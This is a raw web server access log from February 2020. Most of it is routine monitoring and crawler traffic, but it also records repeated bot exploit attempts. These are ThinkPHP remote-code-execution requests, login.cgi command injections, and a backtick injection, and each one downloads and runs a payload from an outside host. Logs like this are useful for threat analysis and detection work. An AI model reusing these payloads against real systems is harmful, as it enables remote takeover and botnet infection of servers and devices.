42.113.229.228 - - [10/Feb/2020:17:44:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:17:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.59.153 - - [10/Feb/2020:17:50:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:17:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.174.243.105 - - [10/Feb/2020:17:51:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [10/Feb/2020:17:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [10/Feb/2020:17:52:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [10/Feb/2020:17:52:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [10/Feb/2020:17:52:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [10/Feb/2020:17:53:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.244.48.70 - - [10/Feb/2020:17:53:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
115.20.222.185 - - [10/Feb/2020:17:53:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:17:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [10/Feb/2020:17:56:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [10/Feb/2020:17:56:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [10/Feb/2020:17:56:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:17:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [10/Feb/2020:17:56:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [10/Feb/2020:17:57:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:17:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:17:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.33.155.30 - - [10/Feb/2020:17:59:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:17:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.201.179.21 - - [10/Feb/2020:18:00:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.201.179.21 - - [10/Feb/2020:18:00:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.42.3.76 - - [10/Feb/2020:18:00:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:18:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [10/Feb/2020:18:04:17 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [10/Feb/2020:18:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [10/Feb/2020:18:04:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [10/Feb/2020:18:04:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [10/Feb/2020:18:05:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [10/Feb/2020:18:05:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
63.143.35.230 - - [10/Feb/2020:18:05:20 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [10/Feb/2020:18:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [10/Feb/2020:18:05:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
62.86.25.151 - - [10/Feb/2020:18:05:46 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 342 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
63.143.35.230 - - [10/Feb/2020:18:05:51 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [10/Feb/2020:18:06:05 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [10/Feb/2020:18:06:10 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [10/Feb/2020:18:06:24 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [10/Feb/2020:18:06:25 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [10/Feb/2020:18:06:28 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [10/Feb/2020:18:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [10/Feb/2020:18:06:35 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [10/Feb/2020:18:06:49 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [10/Feb/2020:18:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.43.136.194 - - [10/Feb/2020:18:19:55 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [10/Feb/2020:18:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.248.141.70 - - [10/Feb/2020:18:20:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.248.141.70 - - [10/Feb/2020:18:21:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:18:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.123.16.108 - - [10/Feb/2020:18:21:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.43.136.194 - - [10/Feb/2020:18:21:49 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
79.43.136.194 - - [10/Feb/2020:18:22:28 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [10/Feb/2020:18:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.114.95.186 - - [10/Feb/2020:18:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
79.43.136.194 - - [10/Feb/2020:18:25:46 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
79.43.136.194 - - [10/Feb/2020:18:25:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
79.43.136.194 - - [10/Feb/2020:18:26:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [10/Feb/2020:18:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.43.136.194 - - [10/Feb/2020:18:26:50 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [10/Feb/2020:18:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.43.136.194 - - [10/Feb/2020:18:28:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [10/Feb/2020:18:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.43.136.194 - - [10/Feb/2020:18:29:56 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
79.43.136.194 - - [10/Feb/2020:18:30:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [10/Feb/2020:18:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.188.31.148 - - [10/Feb/2020:18:32:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:18:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.125.132 - - [10/Feb/2020:18:35:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [10/Feb/2020:18:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.107.88.227 - - [10/Feb/2020:18:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [10/Feb/2020:18:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.60.130 - - [10/Feb/2020:18:37:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:18:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.130.149.65 - - [10/Feb/2020:18:42:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:18:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.49.10.231 - - [10/Feb/2020:18:47:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:18:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.76.233.223 - - [10/Feb/2020:18:47:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.226.197 - - [10/Feb/2020:18:47:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:18:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
141.8.189.150 - - [10/Feb/2020:18:49:04 +0100] "GET /robots.txt HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
178.91.75.135 - - [10/Feb/2020:18:49:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
141.8.189.150 - - [10/Feb/2020:18:49:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
212.91.246.72 - - [10/Feb/2020:18:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.214.19.125 - - [10/Feb/2020:18:49:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:18:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.134.34.136 - - [10/Feb/2020:18:53:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:18:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.20.29.126 - - [10/Feb/2020:18:53:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:18:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [10/Feb/2020:18:54:44 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
200.53.20.122 - - [10/Feb/2020:18:54:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:18:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:18:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.142.64 - - [10/Feb/2020:18:57:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
115.75.0.116 - - [10/Feb/2020:18:57:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
